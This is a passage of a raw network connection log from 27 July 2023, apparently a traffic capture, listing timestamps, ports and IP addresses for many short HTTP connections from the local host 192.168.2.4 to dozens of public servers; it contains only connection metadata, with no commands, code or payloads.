Jul 27, 2023 21:53:07.809186935 CEST	80	49923	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:07.810223103 CEST	80	49923	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:07.810447931 CEST	49923	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:07.810726881 CEST	80	49923	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:07.810910940 CEST	49923	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:07.844592094 CEST	49923	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:07.845472097 CEST	49927	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:07.943763971 CEST	80	49925	154.203.14.100	192.168.2.4
Jul 27, 2023 21:53:07.944031000 CEST	49925	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:53:07.945198059 CEST	49925	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:53:07.947679043 CEST	80	49924	104.196.26.65	192.168.2.4
Jul 27, 2023 21:53:07.948299885 CEST	80	49924	104.196.26.65	192.168.2.4
Jul 27, 2023 21:53:07.948457003 CEST	49924	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:53:07.965392113 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:07.970606089 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:07.973532915 CEST	80	49820	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:07.975898981 CEST	49924	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:53:07.975945950 CEST	49820	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:08.008084059 CEST	80	49876	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:08.008336067 CEST	49876	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:08.009177923 CEST	80	49923	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:08.010195017 CEST	80	49927	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:08.010349035 CEST	49927	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:08.010983944 CEST	49927	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:08.028968096 CEST	49905	80	192.168.2.4	210.140.73.39
Jul 27, 2023 21:53:08.078541994 CEST	49928	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:53:08.102165937 CEST	80	49928	217.19.237.54	192.168.2.4
Jul 27, 2023 21:53:08.103032112 CEST	49928	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:53:08.103404999 CEST	49928	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:53:08.119200945 CEST	80	49924	104.196.26.65	192.168.2.4
Jul 27, 2023 21:53:08.119647980 CEST	80	49924	104.196.26.65	192.168.2.4
Jul 27, 2023 21:53:08.119754076 CEST	49924	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:53:08.126928091 CEST	80	49928	217.19.237.54	192.168.2.4
Jul 27, 2023 21:53:08.131019115 CEST	80	49928	217.19.237.54	192.168.2.4
Jul 27, 2023 21:53:08.131108046 CEST	49928	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:53:08.133886099 CEST	80	49925	154.203.14.100	192.168.2.4
Jul 27, 2023 21:53:08.133996964 CEST	49925	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:53:08.175867081 CEST	80	49927	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:08.176666975 CEST	80	49927	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:08.177268982 CEST	80	49927	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:08.177361965 CEST	49927	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:08.226155996 CEST	49927	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:08.391515017 CEST	80	49927	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:08.549798965 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.569242954 CEST	80	49929	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:08.571207047 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.572645903 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.573039055 CEST	49930	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:53:08.591986895 CEST	80	49929	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:08.592025042 CEST	80	49930	13.248.169.48	192.168.2.4
Jul 27, 2023 21:53:08.592150927 CEST	49930	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:53:08.592668056 CEST	80	49929	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:08.592675924 CEST	49930	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:53:08.592747927 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.595103025 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.611608028 CEST	80	49930	13.248.169.48	192.168.2.4
Jul 27, 2023 21:53:08.615118980 CEST	80	49929	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:08.615225077 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.616789103 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.637806892 CEST	80	49929	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:08.637952089 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.639920950 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.661005974 CEST	80	49929	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:08.661740065 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.663609982 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.683639050 CEST	80	49929	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:08.683788061 CEST	49929	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:08.687319994 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:08.687452078 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:08.763145924 CEST	49911	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:08.767436981 CEST	49931	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:08.778357029 CEST	80	49930	13.248.169.48	192.168.2.4
Jul 27, 2023 21:53:08.778446913 CEST	49930	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:53:08.802223921 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:08.908890009 CEST	49933	80	192.168.2.4	147.154.3.56
Jul 27, 2023 21:53:08.934237003 CEST	80	49931	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:08.934416056 CEST	49931	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:08.934823036 CEST	49931	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:08.934997082 CEST	49914	80	192.168.2.4	96.91.204.114
Jul 27, 2023 21:53:08.936245918 CEST	49934	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:08.940622091 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:08.940732956 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:08.941098928 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:08.960802078 CEST	49935	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:08.994117022 CEST	80	49935	188.166.152.188	192.168.2.4
Jul 27, 2023 21:53:08.994337082 CEST	49935	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:08.994658947 CEST	49935	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:09.019851923 CEST	80	49933	147.154.3.56	192.168.2.4
Jul 27, 2023 21:53:09.020045996 CEST	49933	80	192.168.2.4	147.154.3.56
Jul 27, 2023 21:53:09.020406961 CEST	49933	80	192.168.2.4	147.154.3.56
Jul 27, 2023 21:53:09.024168015 CEST	80	49935	188.166.152.188	192.168.2.4
Jul 27, 2023 21:53:09.025718927 CEST	80	49935	188.166.152.188	192.168.2.4
Jul 27, 2023 21:53:09.025813103 CEST	49935	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:09.083316088 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084076881 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084114075 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084141970 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084170103 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084197998 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084204912 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:09.084223986 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084249973 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:09.084252119 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084275007 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:09.084297895 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084310055 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:09.084327936 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084352970 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:09.084356070 CEST	80	49932	34.224.178.117	192.168.2.4
Jul 27, 2023 21:53:09.084465981 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:09.084465981 CEST	49932	80	192.168.2.4	34.224.178.117
Jul 27, 2023 21:53:09.128098011 CEST	80	49933	147.154.3.56	192.168.2.4
Jul 27, 2023 21:53:09.141676903 CEST	80	49933	147.154.3.56	192.168.2.4
Jul 27, 2023 21:53:09.141839027 CEST	49933	80	192.168.2.4	147.154.3.56
Jul 27, 2023 21:53:09.142296076 CEST	80	49933	147.154.3.56	192.168.2.4
Jul 27, 2023 21:53:09.142324924 CEST	80	49931	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:09.143964052 CEST	49933	80	192.168.2.4	147.154.3.56
Jul 27, 2023 21:53:09.165186882 CEST	80	49931	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:09.165227890 CEST	80	49931	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:09.165395021 CEST	49931	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:09.165395021 CEST	49931	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:09.185025930 CEST	49915	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:09.200141907 CEST	80	49934	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:09.203098059 CEST	49934	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:09.306247950 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:09.308286905 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:09.511109114 CEST	49931	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:09.642447948 CEST	49934	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:09.678761005 CEST	80	49931	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:09.694350958 CEST	80	49901	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:09.694448948 CEST	49901	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:09.724179983 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:09.748492002 CEST	49937	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:09.765093088 CEST	80	49937	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:09.765222073 CEST	49937	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:09.769439936 CEST	49937	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:09.785921097 CEST	80	49937	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:09.854613066 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:09.857274055 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:09.870910883 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:09.871099949 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:09.937788010 CEST	80	49937	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:09.942161083 CEST	49937	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:10.003746986 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.003761053 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.003771067 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.047168970 CEST	49938	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:10.108702898 CEST	80	49892	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:10.111088037 CEST	49892	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:10.129324913 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:10.131155968 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:10.153882027 CEST	49856	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:53:10.210226059 CEST	80	49938	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:10.211152077 CEST	49938	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:10.232053995 CEST	49934	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:10.403613091 CEST	80	49799	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:10.404577017 CEST	49799	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:10.492126942 CEST	80	49934	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:10.492242098 CEST	80	49934	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:10.492405891 CEST	80	49934	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:10.492443085 CEST	49934	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:10.492511034 CEST	49934	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:10.540218115 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540249109 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540271997 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540301085 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540322065 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540342093 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540363073 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540380955 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540400982 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540422916 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.540457010 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.540457010 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.540517092 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.623399973 CEST	49938	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:10.625540972 CEST	49934	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:10.625591040 CEST	49939	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:10.717745066 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717782974 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717803001 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717824936 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717847109 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717866898 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717886925 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717905998 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717927933 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717941046 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.717948914 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717972040 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.717988014 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.717993021 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.718034983 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.718055964 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.725996017 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.726022005 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.726213932 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.726255894 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.729188919 CEST	80	49939	51.79.51.72	192.168.2.4
Jul 27, 2023 21:53:10.729314089 CEST	49939	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:10.732393980 CEST	49939	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:10.735341072 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.735373974 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.735543966 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.736767054 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.744817972 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.744851112 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.745052099 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.745559931 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.754122972 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.754157066 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.754302979 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.754795074 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.778959990 CEST	49926	80	192.168.2.4	195.78.66.50
Jul 27, 2023 21:53:10.786552906 CEST	80	49938	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:10.787040949 CEST	80	49938	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:10.787117958 CEST	49938	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:10.809861898 CEST	49938	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:10.836030006 CEST	80	49939	51.79.51.72	192.168.2.4
Jul 27, 2023 21:53:10.836172104 CEST	80	49939	51.79.51.72	192.168.2.4
Jul 27, 2023 21:53:10.836272001 CEST	49939	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:10.836482048 CEST	49939	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:10.841074944 CEST	49866	80	192.168.2.4	198.100.146.220
Jul 27, 2023 21:53:10.848382950 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.848416090 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.848591089 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.849066019 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.853075981 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.853106022 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.853188992 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.853579998 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.859339952 CEST	49864	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:53:10.859339952 CEST	49863	80	192.168.2.4	195.78.66.50
Jul 27, 2023 21:53:10.862390041 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.862422943 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.862477064 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.862519026 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.871808052 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.871849060 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.871994972 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.872040033 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.881202936 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.881261110 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.881387949 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.881679058 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.890422106 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.890472889 CEST	80	49936	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:10.890633106 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.890681028 CEST	49936	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:10.939970016 CEST	80	49939	51.79.51.72	192.168.2.4
Jul 27, 2023 21:53:10.973678112 CEST	80	49938	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:10.973893881 CEST	49938	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:11.269685030 CEST	80	49908	108.167.164.216	192.168.2.4
Jul 27, 2023 21:53:11.269898891 CEST	49908	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:53:11.466698885 CEST	49934	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:11.630846977 CEST	80	49913	69.163.239.62	192.168.2.4
Jul 27, 2023 21:53:11.631066084 CEST	49913	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:53:11.726875067 CEST	80	49934	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:12.045563936 CEST	49940	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.097502947 CEST	49941	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:53:12.121428013 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.185381889 CEST	80	49941	93.187.206.66	192.168.2.4
Jul 27, 2023 21:53:12.185631037 CEST	49941	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:53:12.185868979 CEST	49941	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:53:12.195604086 CEST	80	49940	3.140.13.188	192.168.2.4
Jul 27, 2023 21:53:12.195722103 CEST	49940	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.196094990 CEST	49940	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.237859011 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.237998009 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.238307953 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.273674965 CEST	80	49941	93.187.206.66	192.168.2.4
Jul 27, 2023 21:53:12.273746014 CEST	80	49941	93.187.206.66	192.168.2.4
Jul 27, 2023 21:53:12.273953915 CEST	49941	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:53:12.347263098 CEST	80	49940	3.140.13.188	192.168.2.4
Jul 27, 2023 21:53:12.347311974 CEST	80	49940	3.140.13.188	192.168.2.4
Jul 27, 2023 21:53:12.347374916 CEST	49940	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.347419024 CEST	49940	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.356369019 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.374861956 CEST	49940	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.393959999 CEST	49943	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.443850994 CEST	49944	80	192.168.2.4	96.91.204.114
Jul 27, 2023 21:53:12.499588966 CEST	80	49921	72.44.93.236	192.168.2.4
Jul 27, 2023 21:53:12.499741077 CEST	49921	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:53:12.524286985 CEST	80	49940	3.140.13.188	192.168.2.4
Jul 27, 2023 21:53:12.543747902 CEST	80	49943	3.140.13.188	192.168.2.4
Jul 27, 2023 21:53:12.543989897 CEST	49943	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.544414043 CEST	49943	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.689968109 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690006971 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690026045 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690045118 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690058947 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690073967 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690087080 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690099955 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690113068 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690123081 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.690177917 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.690479040 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.693890095 CEST	80	49943	3.140.13.188	192.168.2.4
Jul 27, 2023 21:53:12.693922997 CEST	80	49943	3.140.13.188	192.168.2.4
Jul 27, 2023 21:53:12.694116116 CEST	49943	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.713388920 CEST	49943	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:53:12.758513927 CEST	80	49814	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:12.758728981 CEST	49814	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:12.806761026 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806801081 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806828022 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806849003 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806870937 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806890011 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806916952 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806936979 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806946993 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.806958914 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806979895 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.806999922 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.806999922 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.807027102 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.807034969 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.807049990 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.807054043 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.807070971 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.807081938 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.807090998 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.807101011 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.807111979 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.807121038 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.807136059 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.807157040 CEST	49942	80	192.168.2.4	104.218.10.254
Jul 27, 2023 21:53:12.844819069 CEST	49945	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:53:12.852844954 CEST	80	49942	104.218.10.254	192.168.2.4
Jul 27, 2023 21:53:12.852880955 CEST	80	49942	104.218.10.254	192.168.2.4
